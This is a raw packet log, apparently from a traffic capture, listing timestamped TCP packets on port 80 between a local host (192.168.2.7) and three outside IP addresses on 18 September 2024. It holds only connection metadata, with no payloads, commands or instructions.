Sep 18, 2024 14:30:07.973866940 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973870993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973884106 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973884106 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973897934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973910093 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973911047 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973931074 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973938942 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973942995 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973957062 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973965883 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973989010 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974004030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974101067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974112988 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974124908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974137068 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974143982 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974148989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974159956 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974164963 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974176884 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974189043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974189997 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974200964 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974200964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974215031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.974226952 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974255085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974339962 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974368095 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.974385023 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974400997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974415064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974426031 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974442005 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974466085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974473000 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974486113 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974498987 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974513054 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974513054 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974530935 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974539995 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974566936 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974598885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974610090 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974622011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974632978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974642038 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974646091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974658966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974661112 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974685907 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974703074 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974725008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974737883 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974747896 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974760056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974771023 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974772930 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974786043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974798918 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974802017 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974812031 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974814892 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974836111 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974858999 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974859953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974874020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974888086 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974899054 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974900007 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974910975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974915028 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974922895 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974936008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974936008 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974947929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.974962950 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974978924 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.974992037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975011110 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975022078 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975027084 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975034952 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975048065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975049973 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975059986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975068092 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975083113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975100994 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975106955 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975116014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975127935 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975140095 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975156069 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975174904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975174904 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975188971 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975200891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975213051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975218058 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975238085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975248098 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975260019 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975264072 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975272894 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975284100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975285053 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975296974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975302935 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975311041 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975321054 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975322008 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975346088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975361109 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975480080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975492001 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975506067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975517035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975521088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975531101 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975542068 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975543022 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975557089 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.975569963 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975583076 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.975609064 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.024930000 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.024947882 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.024962902 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.024983883 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.024996996 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.025002003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.025008917 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.025023937 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.025024891 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.025057077 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.025064945 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.025178909 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.025191069 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.025212049 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.025223970 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.025233030 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.025254011 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.025278091 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.029990911 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.030088902 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.060436964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060456991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060477018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060487986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060498953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060509920 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060514927 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060520887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060525894 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060532093 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060566902 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.060570955 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060585976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060597897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060616970 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060628891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.060635090 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.060641050 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.060652971 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.060655117 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.060667038 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.060678959 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.060692072 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.060697079 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.060729027 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.060729027 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.060744047 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.060781002 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.060827017 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.060838938 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.060851097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.060861111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.060863972 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.060883999 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.060903072 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.060972929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061006069 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061012983 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061019897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061042070 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061043978 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061054945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061067104 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061081886 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061125994 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061136007 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061146975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061146975 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061167002 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061188936 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061281919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061292887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061306000 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061319113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061346054 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061403036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061415911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061425924 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061436892 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061448097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.061455011 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061459064 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.061470032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061479092 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.061489105 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.061490059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.061510086 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.061511040 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.061522007 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.061532974 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.061537981 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.061543941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061556101 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061559916 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.061564922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061593056 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061611891 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061613083 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.061682940 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061696053 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061707020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061723948 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061728001 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061741114 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061748981 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061753035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061765909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061774969 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061781883 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061795950 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061800957 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061808109 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061817884 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061820984 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061835051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061845064 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061846018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061858892 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061871052 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061888933 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.061909914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.061948061 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062032938 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062046051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062057972 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062069893 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062079906 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062082052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062105894 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062127113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062128067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062141895 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062151909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062164068 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062169075 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062175989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062192917 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062194109 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062206030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062217951 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062218904 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062230110 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062233925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062249899 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062262058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062263012 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062274933 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062285900 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062289953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062319994 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.062382936 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.062396049 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062410116 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062422991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062433958 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062441111 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.062446117 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062458992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062460899 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062472105 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062483072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062488079 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062506914 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062520981 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062536001 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062550068 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062560081 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062571049 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062572956 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062591076 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062596083 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.062608004 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062621117 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062628031 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.062628031 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.062633038 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062645912 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062657118 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062669039 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062669992 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.062679052 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062681913 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.062693119 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.062700987 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.062719107 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.062731028 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062736988 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.062742949 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062755108 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062763929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062769890 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062786102 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062805891 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062807083 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062820911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062833071 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062844992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062846899 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062856913 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062863111 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062881947 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062951088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062963963 CEST	80	49705	103.130.147.211	192.168.2.7
